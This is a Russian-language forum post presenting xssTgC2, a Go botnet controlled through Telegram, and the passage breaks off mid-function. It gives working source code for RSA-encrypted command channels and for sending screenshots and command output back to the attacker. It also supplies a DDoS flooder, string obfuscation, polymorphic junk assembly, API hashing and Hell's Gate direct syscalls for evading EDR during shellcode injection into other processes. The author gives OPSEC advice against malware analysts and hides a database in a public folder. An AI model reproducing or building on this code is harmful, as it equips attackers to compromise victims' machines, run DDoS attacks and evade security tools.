xssTgC2 - Использование Telegram в качестве сервера управления и командования ботнетом

Man

Professional
Messages
2,965
Reaction score
488
Points
83
Привет, участники форума! Рад представить вам xssTgC2 — ботнет, который использует Telegram в качестве сервера команд и управления.

Его ключевые особенности:
  1. Безопасная связь благодаря асимметричному шифрованию RSA.
  2. Выполнение команд PowerShell.
  3. делать скриншоты.
  4. DDoS-атаки.
  5. выполнение шелл-кода в любом процессе по вашему желанию.

Доступные команды:
  1. Любые команды PowerShell
  2. снимок экpана
  3. ddos -url=Целевой веб-сайт
  4. shellcode -bin=код оболочки в кодировке base64 -process=Целевой процесс, например (Notepad.exe)

Проект написан на Go, поэтому я выбрал Go, потому что это мой любимый язык и он поддерживает вызов кода C благодаря CGO, а также Assembly.

Структура проекта:

xssTgC2
├── asm.s
├── config
│ └── config.go
├── ddos
│ └── ddos.go
├── go.mod
├── go.sum
├── main.go
├── RustCrypt
│ ├── crypt
│ │ ├── Cargo.lock
│ │ ├── Cargo.toml
│ │ ├── src
│ │ │ └── main.rs
│ │ └── target
│ │ └── release
│ │ ├── crypt
│ │ └── crypt.exe
│ └── stub
│ ├── build.rs
│ ├── Cargo.lock
│ ├── Cargo.toml
│ ├── pdf.ico
│ └── src
│ └── main.rs
├── shellcode
│ ├── asm_x64.s
│ └── shellcode.go
├── tools
│ └── helper
│ ├── builds
│ │ ├── helper
│ │ └── helper.exe
│ ├── go.mod
│ ├── go.sum
│ └── main.go
└── utils
├── utils.go
└── utils_test.go

15 directories, 25 files

mechanism.png


Что вы можете узнaть из этой статьи:
  1. Асимметричное шифрование с RSA.
  2. Обфускация строк для вредоносных программ.
  3. Хеширование API (API Hashing).
  4. Врата ада (Hell's gate).
  5. Полиморфные вредоносные программы.
  6. Сборка и компиляция проекта Go.

Требoвания:
  1. Компьютер с оперативной памятью не менее 8 ГБ и 2 ядрами процессора.
  2. Версия Golang >=1.23.2
  3. Vscode или любой другой текстовый редактор, который вам нравится.
  4. Некоторые навыки программирования с Go, C или C++ — это не для новичков.
  5. Компилятор Rust и менеджер пакетов Cargo.

Теперь давайте шаг за шагом обсудим, как я создал этот проект.
Прежде чем начать, вам нужно создать телеграм-бота с помощью BotFather, затем вы получите токены API бота и идентификатор чата. Я не буду объяснять, как это сделать, потому что это легко, и есть много видео на YouTube, которые это объясняют.

Убедитесь, что включили автозачистку сообщений для вашего созданного нового бота по соображениям безопасности (OPSEC), чтобы даже в случае компрометации токенов бота аналитики вредоносных программ не могли получить историю команд.

При кодировании проекта вредоносного ПО вам нужно задать себе вопрос: какова ваша цель и что должно быть выполнено на системе жертвы, а затем добавлять только важные функции, потому что добавление ненужного кода только увеличивает шансы на обнаружение вашего вредоносного ПО, поэтому чем меньше, тем лучше.

0x1 — Асимметричное шифрование с RSA:​

RSA (Rivest–Shamir–Adleman) — это криптосистема с открытым ключом. В такой криптосистеме используется пара ключей, часто называемая парой закрытого и открытого ключей.

Криптографические системы с открытым ключом используются в 2 основных случаях использования
  • Шифрование
  • Проверка (цифровая подпись)

Основное внимание в этой статье уделено шифрованию, чтобы мы могли безопасно общаться с клиентами нашего ботнета. Идея заключается в том, что у клиента есть публичный ключ атакующего, чтобы он мог шифровать данные и отправлять их обратно атакующему. Также у клиента есть приватный ключ бота, с другой стороны, у атакующего есть публичный ключ клиента, чтобы он мог отправлять зашифрованные команды клиенту для выполнения.
Пакет crypto в Golang и его подкаталоги/подпакеты предоставляют реализацию различных криптографических алгоритмов. В этой статье мы рассмотрим возможности шифрования RSA.

Генерация ключей:
Это необязательно, если вы работаете в Linux, поскольку вы можете использовать OpenSSL, который сделает это за вас с помощью простой команды.

Bash:
openssl genpkey -algorithm RSA -out private_key.pem -pkeyopt rsa_keygen_bits:4096
openssl rsa -in private_key.pem -pubout -out public_key.pem

Метод GenerateKey пакета crypto/rsa принимает два аргумента: генератор случайных чисел и размер ключа от 1024 до 8096 бит.

RSA-ключи размером 8096 бит обеспечивают более высокий уровень безопасности, но являются вычислительно затратными. Они редко требуются, так как ключи размером 4096 бит уже являются чрезвычайно безопасными для большинства целей.

GenerateRSAKey
C:
func GenerateRSAKey(keyname string) error {
var prvKey *rsa.PrivateKey
prvKey, err := rsa.GenerateKey(rand.Reader, 4096)
if err != nil {
 return err
}
pubKey := &prvKey.PublicKey
//encode to PEM format
pubKeyPem := pem.EncodeToMemory(&pem.Block{
Type:  "RSA PUBLIC KEY",
Bytes: x509.MarshalPKCS1PublicKey(pubKey),
 })
//write bytes to .pem file
err = os.WriteFile("keys/"+keyname+".pub", pubKeyPem, 0644)
if err != nil {
 return err
}
prvKeyPem := pem.EncodeToMemory(&pem.Block{
Type:  "RSA PRIVATE KEY",
Bytes: x509.MarshalPKCS1PrivateKey(prvKey),
 })
return os.WriteFile("keys/"+keyname+".pem", prvKeyPem, 0644)
}

Вы можете сгенерировать пары ключей атакующего и клиента-бота, введя следующую команду в окне терминала:
Bash:
./helper -generate -botkeys clientKeysName -masterkeys attackerkeys

Шифрование:
Для наших целей функция Encrypt будет принимать два аргумента: сообщение, которое мы хотим зашифровать, и открытый ключ стороны, для которой мы хотим зашифровать.

Итак, вот шаги, которые выполнит наша функция:
  • Расшифровка открытого ключа, закодированного в Pem.
  • Разобрать открытый ключ и десериализовать его, преобразовав в rsa.PublicKey.
  • зашифровать сообщение с помощью этого открытого ключа.
  • вернуть зашифрованный текст в виде строки, закодированной в base64.

Я использовал sha256 в EncryptOAEP, вы можете использовать sha512, так как он более безопасен, чем sha256.

Encrypt
C:
func Encrypt(message string, botPub_key string) (string, error) {
BotPubKey, err := os.ReadFile(botPub_key)
if err != nil {
return "", err
}
//read public key
block, _ := pem.Decode(BotPubKey)
if block == nil {
return "", errors.New("failed to decode PEM block containing public key")
}
pubKey, err := x509.ParsePKCS1PublicKey(block.Bytes)
if err != nil {
return "", err
}
//encrypt
ciphertext, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, pubKey, []byte(message), nil)
if err != nil {
return "", err
}
return base64.StdEncoding.EncodeToString(ciphertext), nil
}

Вот как злоумышленник может зашифровать сообщение и отправить его боту для выполнения.

encrypt1.PNG


telegram-encrypt.png


Процесс расшифровки
Функция Decrypt работает в связке с функцией Encrypt, о которой мы говорили выше. Она принимает зашифрованную строку в формате base64 и приватный ключ клиента ботнета.

Сначала мы декодируем pem-encoded приватный ключ, затем парсим его, чтобы получить структуру rsa.PrivateKey. Далее мы конвертируем зашифрованные данные в формате base64 в массив байтов. В методе DecryptOAEP необходимо использовать тот же хэш, который использовался для шифрования — в моем случае это sha256.

И, наконец, мы конвертируем расшифрованные данные в байтах в строку UTF8 и возвращаем её вызывающему коду.
C:
func Decrypt(ciphertext string, master_prvkey string) (string, error) {
master, err := os.ReadFile(master_prvkey)
if err != nil {
return "", err
}
block, _ := pem.Decode(master)
if block == nil {
return "", errors.New("failed to decode PEM block containing private key")
}
prvKey, err := x509.ParsePKCS1PrivateKey(block.Bytes)
if err != nil {
return "", err
}
ciphertextBytes, err := base64.StdEncoding.DecodeString(ciphertext)
if err != nil {
return "", err
}
// Decrypt the RSA ciphertext
plaintext, err := rsa.DecryptOAEP(sha256.New(), rand.Reader, prvKey, ciphertextBytes, nil)
if err != nil {
return "", err
}
return string(plaintext), nil
}

0x2 — Обфускация строки:​

Вы можете исследовать двоичные строки в Linux с помощью этой команды:
Bash:
strings binary.exe | grep "IsDebuggerPresent"

debugger.PNG


Для любого типа вредоносного ПО строка — это тип данных, которого невозможно избежать, она используется очень часто, и аналитики вредоносных программ/EDR/антивирусы любят строки, потому что они могут дать им подсказку о внутренней функциональности вредоносного ПО, поэтому обфускация строк всегда является хорошей идеей.
Если вы посмотрите на мой проект, вы заметите, что я не обфусцировал все строки, и вы удивитесь, почему? Это потому, что я хочу, чтобы вы лучше понимали код, чтобы вы могли следовать за ним, но в вашем случае вы должны обфусцировать почти все строки.

Давайте попробуем написать наш собственный алгоритм обфускации, помните, что эта функция не будет включена в клиентский бот, так как это ненужно и глупо, она будет доступна только для утилиты командной строки атакующего.

Функция будет принимать строку и возвращать обфусцированную строку в шестнадцатеричном виде.
C:
func obfuscateString(input string) string {
    var hexstr string
//first check if the string bytes length is divisible by 16 if not we add padding
if len(input)%16 != 0 {
padding := 16 - len(input)%16
for i := 0; i < padding; i++ {
input += " "
}
}
//second check if the string bytes length is more than 16 if it is then we need to split the string into 16 bytes chunks
if len(input) > 16 {
for i := 0; i < len(input); i += 16 {
hexstr += obfuscateString(input[i : i+16])
}
 return hexstr
}
var num [16]int
//convert each character to its an uint8 value
inputBytes := []byte(input)
//loop through the input bytes and xor each byte with 0x54
for i := 0; i < len(inputBytes); i++ {
num = int(inputBytes ^ 0x54)
if (i+1)%4 == 0 {
hexstr += fmt.Sprintf("%02X", num[i-3]) + fmt.Sprintf("%02X", num[i-2]) + fmt.Sprintf("%02X", num[i-1]) + fmt.Sprintf("%02X", num)
}
}
 return hexstr
}

Теперь функция деобфускации будет добавлена в наш ботнет, чтобы он мог разрешать строки во время выполнения.

DeobfuscateStr
C:
func DeobfuscateStr(hexstr string) string {
    var clearText string
if len(hexstr) > 32 {
chunks := len(hexstr) / 32
for i := 0; i < chunks; i++ {
clearText += DeobfuscateStr(hexstr[i*32 : (i+1)*32])
}
 return clearText
}
var num [16]int
for i := 0; i < len(hexstr); i += 2 {
fmt.Sscanf(hexstr[i:i+2], "%02x", &num[i/2])
}
for i := 0; i < len(num); i++ {
clearText += string(byte(num ^ 0x54))
}
//remove padding if any
for i := len(clearText) - 1; i >= 0; i-- {
if clearText == ' ' {
clearText = clearText[:i]
} else {
break
}
}
 return clearText
}

0x3 — Полиморфное вредоносное ПО:​

Полиморфное вредоносное ПО — это тип вредоносного программного обеспечения, разработанный для постоянного изменения своих идентифицируемых характеристик, таких как структура кода, подпись файла или шаблоны шифрования, при сохранении своей исходной функциональности. Эта характеристика затрудняет традиционным антивирусным и детектирующим системам, использующим сигнатуры, обнаружение и блокировку такого ПО.

Инструкции по мусору ASM
Go Assembly использует специфичный синтаксис, и код обычно должен быть размещен в файле с расширением .s.
Файл .s должен находиться в той же папке, что и файл .go, из которого вы будете вызывать его ASM-функцию.
Мы напишем три ASM-функции, которые в основном ничего не делают:

asm.s
Code:
#include "textflag.h"

TEXT ·junkASM1(SB), NOSPLIT, $0
    MOVQ $0, AX
    ADDQ $0, BX
    SUBQ $0, CX
    XORQ $0, DX
    ADDQ $0x00000000, AX
    RET


TEXT ·junkASM2(SB), NOSPLIT, $0
    MOVQ $0, BX
    ADDQ $0, CX
    SUBQ $0, DX
    XORQ $0, AX
    ADDQ $0xfffffff, BX
    RET


TEXT ·junkASM3(SB), NOSPLIT, $0
    MOVQ $0, CX
    ADDQ $0, DX
    SUBQ $0, AX
    XORQ $0, BX
    ADDQ $0xfffffff, DX
    RET

и теперь мы можем добавлять эти инструкции ASM к нашему вредоносному ПО случайным образом следующим образом:
C:
func junkASM1()
func junkASM2()
func junkASM3()

// function slice
var junks = []func(){
junkASM1,
junkASM2,
junkASM3,
}
func main() {
//random assembly instructions
indx := rand.Intn(3)
rand.NewSource(time.Now().UnixNano())
for i := 0; i < indx; i++ {
junks()
}
//continue stuff ...
}

Это будет полезно во время выполнения.
Теперь давайте изменим сигнатуру нашего двоичного файла каждый раз, когда он запускается, мы можем сделать это просто добавив один нулевой байт в конец нашего исполняемого файла, так как это не повлияет на функциональность исполняемого файла.
C:
f, _ := os.OpenFile(os.Args[0], os.O_WRONLY|os.O_APPEND, 0666)
f.Write([]byte{0})

Это не создаст 100% полиморфную вредоносную программу, но вы получили общее представление о том, как это можно сделать. Вам нужно проявить креативность и самостоятельно придумывать новые трюки.

0x4 — Взаимодействие с API Telegram:​

Telegram является нашим C2 в нашем случае, нам нужно написать 3 функции. Первая из них будет называться GetTheLastCMD, и она будет извлекать последнюю команду, отправленную атакующим, а также её идентификатор, так как он нам понадобится позже. Существует хороший Go пакет, который упрощает работу с Telegram API — github.com/go-telegram-bot-api/telegram-bot-api/v5, его нужно импортировать в первую очередь.

Функция будет принимать один аргумент — токен Telegram-бота.

GetTheLastCMD
C:
func GetTheLastCMD(bot_token string) (string, int, error) {
bot, err := tgbotapi.NewBotAPI(bot_token)
if err != nil {
return "", 0, err
}
u := tgbotapi.NewUpdate(0)
u.Timeout = 60
updates, err := bot.GetUpdates(u)

if err != nil {
return "", 0, err
}
if len(updates) == 0 {
return "", 0, fmt.Errorf("no new messages")
}
return updates[len(updates)-1].Message.Text, updates[len(updates)-1].Message.MessageID, nil
}

Хорошо, теперь нам нужно закодировать вторую функцию, которая будет отправлять выходные данные команд, если таковые имеются, обратно злоумышленнику в виде файла .json.

SendJsonFile
C:
func SendJsonFile(sender string, text string, bot_token string, chat_id string, desktop string) error {
data := targetMessage{IP: sender, MessageBody: text}
bot, err := tgbotapi.NewBotAPI(bot_token)
if err != nil {
 return err
}
//convert to json
jsonData, err := json.Marshal(data)
if err != nil {
 return err
}
files := []tgbotapi.RequestFile{
{
Name: "document",
Data: tgbotapi.FileReader{
Name:   fmt.Sprintf("%s.json", desktop),
Reader: strings.NewReader(string(jsonData)),
 },
 },
}
params := tgbotapi.Params{
"chat_id": chat_id,
}
_, err = bot.UploadFiles("sendDocument", params, files)
 return err
}

Последняя функция предназначена для отправки скриншота. Мы могли бы объединить ее с первой в одну функцию, но я решил разделить их, чтобы избежать путаницы.

SendScreenshot
C:
func SendScreenshot(sender string, buff []byte, bot_token string, chat_id string) error {
bot, err := tgbotapi.NewBotAPI(bot_token)
if err != nil {
 return err
}
//send screenshot
files := []tgbotapi.RequestFile{
{
Name: "photo",
Data: tgbotapi.FileReader{
Name:   fmt.Sprintf("%s.png", sender),
Reader: strings.NewReader(string(buff)),
 },
 },
}
params := tgbotapi.Params{
"chat_id": chat_id,
}
_, err = bot.UploadFiles("sendPhoto", params, files)
 return err
}

0x5 — SQLite3:​

Чтобы избежать бесконечного выполнения одних и тех же команд, мы создадим базу данных для хранения информации о командах. Нам не нужно хранить сами команды, мы будем хранить только идентификатор сообщения Telegram и статус — булевое значение, которое указывает, была ли выполнена соответствующая команда или нет.

Каждый раз, когда мы получаем команду для выполнения из Telegram, мы проверяем, существует ли она уже в базе данных. Если она существует, мы пропускаем её, если нет — добавляем в базу данных, а затем выполняем. Если выполнение прошло успешно, мы обновляем статус на true, что означает, что команда выполнена. В следующей итерации, перед выполнением, будет проверяться в базе данных, была ли она уже выполнена. Если да, то команда будет пропущена. Я выбрал разместить файл базы данных в C:\Users\Public\Music, потому что пользователи обычно не используют и не обращают внимание на это местоположение, но вы можете разместить его в любом другом месте, если только это место не требует прав администратора для создания нового файла.

database
C:
func ConnectDB() (*sql.DB, error) {
db, err := sql.Open("sqlite3", "C:\\Users\\Public\\Music\\xssTgC2.db")
if err != nil {
return nil, err
}
_, err = db.Exec(`CREATE TABLE IF NOT EXISTS commands (
id INTEGER PRIMARY KEY AUTOINCREMENT,
command_id INTEGER UNIQUE,
status INTEGER DEFAULT 0
)`)
if err != nil {
return nil, err
}
return db, nil
}
func IsExecuted(command_id int, db *sql.DB) bool {
query := fmt.Sprintf("SELECT status FROM commands WHERE command_id = %d", command_id)
rows, err := db.Query(query)
if err != nil {
return false
}
defer rows.Close()
    var status int
for rows.Next() {
rows.Scan(&status)
}
if status == 1 {
return true
}
return false
}
func SetCommand(command_id int, db *sql.DB) error {
_, err := db.Exec("BEGIN")
if err != nil {
 return err
}
query := fmt.Sprintf("INSERT INTO commands (command_id) VALUES (%d)", command_id)
_, err = db.Exec(query)
if err != nil {
 return err
}
_, err = db.Exec("COMMIT")
if err != nil {
 return err
}
 return nil
}
func GetCommand(command_id int, db *sql.DB) (bool, error) {
query := fmt.Sprintf("SELECT command_id FROM commands WHERE command_id = %d", command_id)
rows, err := db.Query(query)
if err != nil {
return false, err
}
defer rows.Close()
    var id int
for rows.Next() {
rows.Scan(&id)
}
if id == command_id {
return true, nil
}
return false, nil
}

func MarkCommandAsExecuted(command_id int, db *sql.DB) error {
//start the transaction
_, err := db.Exec("BEGIN")
if err != nil {
 return err
}
query := fmt.Sprintf("UPDATE commands SET status = 1 WHERE command_id = %d", command_id)
_, err = db.Exec(query)
if err != nil {
 return err
}
//commit the transaction
_, err = db.Exec("COMMIT")
if err != nil {
 return err
}
 return nil
}

0x6 — DDOS-атака:​

Мы можем начать DDoS-атаку, отправив зашифрованную команду, например, "ddos -url=https://example.com"
код модуля ddos очень прост, мы используем горутины, чтобы заставить нашу функцию get работать во многих потоках, используя преимущества мощности ЦП и памяти и делая нашу атаку более эффективной.
Код:

ddos.go
C:
package ddos

import (
"net/http"
"time"
"xssTgC2/config"
)

func GetReq() {
for i := 0; i < 1000; i++ {
go get()
time.Sleep(100 * time.Millisecond)
}
}

func get() {
url := config.URL
req, _ := http.NewRequest("GET", url, nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3")
req.Header.Set("Cache-Control", "no-cache")
req.Header.Set("Keep-Alive", "timeout=10, max=100")
req.Header.Set("Connection", "keep-alive")
client := &http.Client{}
client.Do(req)
}

0x7 — Хеширование API (API Hashing):​

Сначала нам нужно немного узнать о системных вызовах, понимание которых очень поможет в следующих разделах.
Системный вызов — это контролируемая точка входа в ядро, которая позволяет процессу запросить выполнение действия от имени процесса. Ядро предоставляет ряд услуг программам через интерфейс прикладного программирования системных вызовов (API). Разработчики приложений обычно не имеют прямого доступа к системным вызовам, но могут обращаться к ним через этот API. Эти услуги включают, например, создание нового процесса, выполнение ввода/вывода и создание канала для межпроцессного общения.

Набор системных вызовов фиксирован. Каждый системный вызов идентифицируется уникальным номером, который в Windows называется SSN (System Service Numbers — номера системных сервисов). Эти SSN могут изменяться от версии Windows к версии, поэтому мы не можем просто зашить их в наш бинарный файл, нам нужно разрешать их во время выполнения.

В любой момент времени процесс может работать в пользовательском режиме или в режиме ядра. Тип инструкций, которые могут быть выполнены, зависит от режима, и это контролируется на уровне аппаратуры. Режимы процессора (также называемые состояниями процессора или уровнями привилегий процессора) — это операционные режимы для центрального процессора некоторых архитектур, которые накладывают ограничения на тип и объем операций, которые могут выполняться определенными процессами, запущенными на процессоре. Ядро само по себе не является процессом, а является менеджером процессов. Модель ядра предполагает, что процессы, которым требуется сервис ядра, используют специальные программные конструкции, называемые системными вызовами.

Когда программа выполняется в пользовательском режиме, она не может напрямую обращаться к структурам данных ядра или программам ядра. Когда приложение выполняется в режиме ядра, эти ограничения больше не применяются. Обычно программа выполняется в пользовательском режиме и переходит в режим ядра только при запросе сервиса, предоставляемого ядром. Если приложению нужен доступ к аппаратным ресурсам системы (например, к периферийным устройствам, памяти, дискам), оно должно выполнить системный вызов, что вызывает переключение контекста с пользовательского режима в режим ядра. Эта процедура выполняется при чтении/записи файлов и т. д. Только сам системный вызов выполняется в режиме ядра, а не код приложения. Когда системный вызов завершен, процесс возвращается в пользовательский режим с возвращаемым значением, используя обратное переключение контекста.
Ниже показан пример приложения, которое создает файл. Оно начинается с того, что пользовательское приложение вызывает функцию WinAPI CreateFile, которая доступна в kernel32.dll. Kernel32.dll — это критическая библиотека DLL, которая предоставляет приложениям доступ к WinAPI и, следовательно, может быть загружена большинством приложений. Далее CreateFile вызывает свою эквивалентную функцию NTAPI, NtCreateFile, которая предоставляется через ntdll.dll. Затем ntdll.dll выполняет инструкцию sysenter (для x86) или syscall (для x64), которая передает выполнение в режим ядра. Функция NtCreateFile ядра затем используется для вызова драйверов ядра и модулей для выполнения запрашиваемой задачи.

windows-arch-flow.png


Разработка вредоносных программ для Windows потребует использования некоторых функций Windows API, и от этого никуда не деться, мы не можем избежать этого. Но мы можем скрыть наши намерения, и именно здесь вступает в игру хеширование API.

Хеширование API — это техника, которую используют вредоносные программы для защиты себя от анализа.
Прежде всего, мы должны понимать, что такое IAT в PE-файле. IAT означает таблицу импортированных адресов (Import Address Table) и является частью структуры PE (Portable Executable), компоненты которой следующие.
C:
typedef struct __IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk;
} DUMMYUNIONNAME;
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name;
DWORD FirstThunk;
} ___IMAGE_IMPORT_DESCRIPTOR, * ___PIMAGE_IMPORT_DESCRIPTOR;

typedef struct __IMAGE_IMPORT_BY_NAME {
WORD Hint;
char   Name[100];
} ___IMAGE_IMPORT_BY_NAME, * ___PIMAGE_IMPORT_BY_NAME;

Таблица адресов импорта (IAT) на диске по сути представляет собой таблицу имен или ссылок, которая сообщает загрузчику, какие функции необходимы из импортируемой DLL. Однако во время связывания, когда бинарный файл загружается в память, записи в IAT перезаписываются адресами функций, которые импортируются.

Анализаторы вредоносных программ и парсеры PE (Portable Executable) используют (или злоупотребляют) IAT файлов, так как она раскрывает очень полезную информацию, которая может помочь определить, импортирует ли PE странные функции или DLL. Например, если вы протестируете это с нашим полезным нагрузочным файлом из первого поста о разработке вредоносных программ, вы увидите, что он импортирует OpenProcess, VirtualAllocEx, WriteProcessMemory и CreateRemoteThreadEx, что является явным признаком вредоносного ПО. Но что если мы скроем импортируемые функции в IAT?

На этом этапе команда красных использует хеширование API, технику, при которой функция представлена как хеш, и вы получаете ее системный вызов для последующего вызова, так что строки не могут быть проанализированы. Основной процесс будет выглядеть примерно так:
  • Найдите заголовок NT или Kernel32
  • Найдите каталог Export Data
  • Определите текущее имя API
  • Хешируйте имя и сравните его с входным хешем
  • Если мы найдем совпадение, верните адрес API в памяти

GetFuncPtr.png


Если кто-то посмотрит на исходный код, он/она не сможет узнать, какую функцию Windows API пытается вызвать, поскольку виден только хэш. Алгоритм хэширования может быть любым, или вы можете создать свой собственный алгоритм кодирования, как мы сделаем ниже.
C:
func ApiHashingFunc(input string) string {
var output []byte
bs64 := base64.StdEncoding.EncodeToString([]byte(input))
reversed := reverse(bs64)
for i := 0; i < len(reversed); i++ {
output = append(output, reversed+5)
}
hash := md5.New()
hash.Write(output)
return hex.EncodeToString(hash.Sum(nil))
}

Это также включено в утилиту командной строки, с помощью которой вы можете хешировать любую функцию, которую хотите включить в свой код, как мы видим здесь.

hashingFunc.PNG


Вот имена функций, преобразованные в хэши:
Code:
NtOpenProcess  ===> 475a83ab6891538233298f5b88e5b750
NtAllocateVirtualMemory ===> 9400af9edc14d36492c696cff6251b72
NtWriteVirtualMemory ===> 89582f57b899bd5d59b1ef0e91a5f49b
NtCreateThreadEx ===> d7d47b55799aecc50ba7c06fb576dffa

Обратите внимание, что вы заметите, что я не хешировал все функции в своем проекте. Например, я использовал OpenProcess напрямую для получения дескриптора процесса, и так делать нельзя, лучше использовать нативные функции. Но, в общем, вы поняли идею.

Крайне важно хешировать все функции, которые вы хотите использовать в своем коде.
Теперь, используя этот метод, мы будем итеративно обрабатывать экспортируемые функции, хешировать их и сравнивать полученный хеш с хешем, который мы жестко закодировали в нашем бинарном файле. Если мы находим совпадение, возвращаем указатель на соответствующую функцию.

GetFuncPtr (API address)
C:
func GetFuncPtr(hash string, dll string, hashing_function func(str string) string) (*windows.LazyProc, string, error) {
    // Open and parse PE file
    pe_file, err := pe.Open(dll)
    if err != nil {
        return &windows.LazyProc{}, "", err
    }
    defer pe_file.Close()

    // Get export table
    exports, err := pe_file.Exports()
    if err != nil {
        return &windows.LazyProc{}, "", err
    }

    for _, exp := range exports {
        if hash == hashing_function(exp.Name) {
            return windows.NewLazyDLL(dll).NewProc(exp.Name), exp.Name, nil
        }
    }

    return &windows.LazyProc{}, "", errors.New("function not found")
}

0x8 — шеллкода (shellcode) и Врата ада (Hell's gate):​

xssTgC2 имеет модуль шеллкода, который может выполнять инъекцию шеллкода в удаленный процесс. Мы будем комбинировать как хеширование API, так и методы Hell's Gate, чтобы достичь нашей цели.

EDR/AV хуки (EDR/AV hooks):
Как антивирусные программы (AV), так и системы обнаружения и реагирования на конечных точках (EDR) используют разные механизмы защиты от вредоносного ПО. Для динамической проверки потенциально вредоносного кода в контексте API Windows во время выполнения большинство современных EDR применяют принцип перехвата API в пользовательском режиме. Проще говоря, это техника, при которой код, выполняемый в контексте Windows API, такого как VirtualAlloc или его родной API NtAllocateVirtualMemory, намеренно перенаправляется EDR в собственный модуль hooking.dll. В Windows можно выделить следующие типы перехвата, среди прочего:
  • Встроенные API-хуки (Inline API Hooking)
  • Хуки импорта адресной таблицы (IAT)
  • Хуки SSDT (ядро Windows)

До введения защиты от патчей ядра (KPP), также известной как Patch Guard, антивирусные продукты могли реализовывать свои перехваты в ядре Windows, например, используя перехват SSDT. С введением Patch Guard Microsoft в 2005 заблокировала эту возможность по соображениям стабильности операционной системы. Технически, встроенный перехват (inline hook) — это 5-байтная ассемблерная инструкция, которая вызывает перенаправление в hooking.dll EDR до выполнения системного вызова в контексте соответствующего родного API. Возврат из памяти hooking.dll EDR обратно в память соответствующей родной функции в ntdll.dll для окончательного выполнения инструкции системного вызова происходит только в том случае, если код, выполняемый в контексте функции, был определён EDR как безвредный, в противном случае выполнение соответствующего системного вызова предотвращается компонентом защиты конечных точек (EPP) в сочетании EPP/EDR.

hooks_workflow.png


Поскольку SSDT существует в ядре, приложения пользовательского режима не могли вмешиваться в эти хуки без загрузки драйвера ядра. Теперь хуки размещаются в пользовательском режиме вместе с приложением.

Итак, как выглядит хук пользовательского режима?

hook_before_vs_after.png


Чтобы перехватить функцию в ntdll.dll, большинство EDR просто перезаписывают первые 5 байтов кода функции на инструкцию jmp. Эта инструкция jmp перенаправляет выполнение кода на какой-то код внутри собственной DLL EDR (которая автоматически загружается в каждый процесс). После того как процессор был перенаправлен в DLL EDR, EDR может выполнить проверки безопасности, исследуя параметры функции и адрес возврата. Как только EDR завершит свою работу, она может возобновить вызов ntdll, выполнив перезаписанные инструкции, а затем перейдя к месту в ntdll сразу после перехвата (инструкция jmp).

Хотя перехваты EDR могут немного различаться в зависимости от поставщика, принцип остается тем же, и все они имеют одинаковую уязвимость: они находятся в пользовательском режиме. Поскольку как перехваты, так и DLL EDR должны быть размещены в адресном пространстве каждого процесса, вредоносный процесс может вмешиваться в них.

Общее количество перехватов варьируется от поставщика к поставщику или от EDR к EDR. Существуют EDR, которые имеют около 20 перехватов, и другие EDR, у которых их около 90. Также важно отметить, что EDR никогда не смогут перехватить все API, иначе влияние на производительность будет слишком высоким. Никогда не забывайте, что хороший EDR постарается защитить как можно больше, но также оставаться в фоновом режиме как можно дольше и не замедлять систему слишком сильно.

Что такое прямой системный вызов?
Это техника, которая позволяет атакующему (красной команде) выполнять вредоносный код, например, shell-код, таким образом, что системный вызов или заглушка системного вызова не получают через ntdll.dll, а реализуются напрямую как ассемблерная инструкция, например, в области .text загрузчика вредоносного ПО или shell-кода. Отсюда и название прямые системные вызовы.

Вы можете увидеть, что процесс пользовательского режима malware.exe не получает системный вызов, или, точнее, инструкции из заглушки системного вызова, от родного API NtCreateFile через ntdll.dll, как это обычно бывает, а вместо этого реализует необходимые инструкции для системного вызова самостоятельно.

direct_syscall.png


Так что же Врата ада (Hell's gate)?
Hell's Gate — это метод, который использует прямые системные вызовы для обхода хуков пользовательского режима, вручную выполняя ассемблерные инструкции системного вызова. С другой стороны, это альтернативная техника, используемая для выполнения прямых системных вызовов. Путем парсинга ntdll.dll она может динамически находить системные вызовы (SSN) и затем выполнять их непосредственно из бинарного файла.

Теперь мы реализуем все, что мы изучили, чтобы создать функцию под названием getSysIdHashHalos, которая использует ранее описанный метод API-хеширования и Hell's Gate для получения указателя на функцию API. Она принимает два аргумента: хеш функции, которую вы хотите использовать, и алгоритм хеширования.

Нам также нужно определить функцию RvaToOffset, которая предназначена для преобразования относительного виртуального адреса (RVA) (используемого в памяти для ссылок на адреса) в соответствующий смещение в файле (реальное положение в файле), проверяя, в какой раздел PE-файла попадает RVA. Полученное смещение может быть использовано для прямого доступа к данным в файле на диске.

rvaToOffset
C:
func rvaToOffset(pefile *pe.File, rva uint32) uint32 {
for _, hdr := range pefile.Sections {
baseoffset := uint64(rva)
if baseoffset > uint64(hdr.VirtualAddress) &&
baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) {
return rva - hdr.VirtualAddress + hdr.Offset
}
}
 return rva
}

Общий алгоритм будет следующим: Мы загружаем NTDLL в память, затем парсим NTDLL и получаем все экспортированные функции. Мы проходим через все функции и проверяем, есть ли совпадение. Если совпадение найдено, мы выполняем еще одну проверку, чтобы узнать, перехвачена ли функция. Если она не перехвачена, мы просто возвращаем sysid, если она перехвачена, мы находим адрес начала системного вызова. Затем мы начинаем цикл поиска байтов 0x4c, 0x8b, 0xd1, 0xb8, которые являются операциями для mov r10, rcx и mov rcx, ssn, что является началом не перехваченного системного вызова.

В случае, если системный вызов перехвачен, операционные коды могут не совпадать из-за того, что хук был добавлен средствами безопасности перед инструкцией системного вызова. Чтобы решить эту проблему, Hell’s Gate пытается сопоставить операционный код; если такие инструкции найдены и они не перехвачены (проверяется с помощью CheckBytes), мы возвращаем соответствующий ID системного вызова. Если функция перехвачена, продолжается поиск других системных вызовов в соседних областях. Если хуки не найдены, функция возвращает исходный ID системного вызова.

Если поиск достигнет одной из этих инструкций, и операционные коды 0x4c, 0x8b, 0xd1, 0xb8 не были найдены, разрешение SSN завершится неудачей.

getSysIdHashHalos
C:
func getSysIdHashHalos(hash string, hashing_func func(str string) string) (uint16, string, error) {
var ntdll_pe *pe.File
    var err error

s, si := inMemLoads(config.Ntdll) // Load ntdll in memory

rr := rawreader.New(uintptr(s), int(si))
ntdll_pe, err = pe.NewFileFromMemory(rr) // Parse PE file
if err != nil {
return 0, "", err
}
defer ntdll_pe.Close()

exports, err := ntdll_pe.Exports() // Get exported functions
if err != nil {
return 0, "", err
 }

for _, exp := range exports {
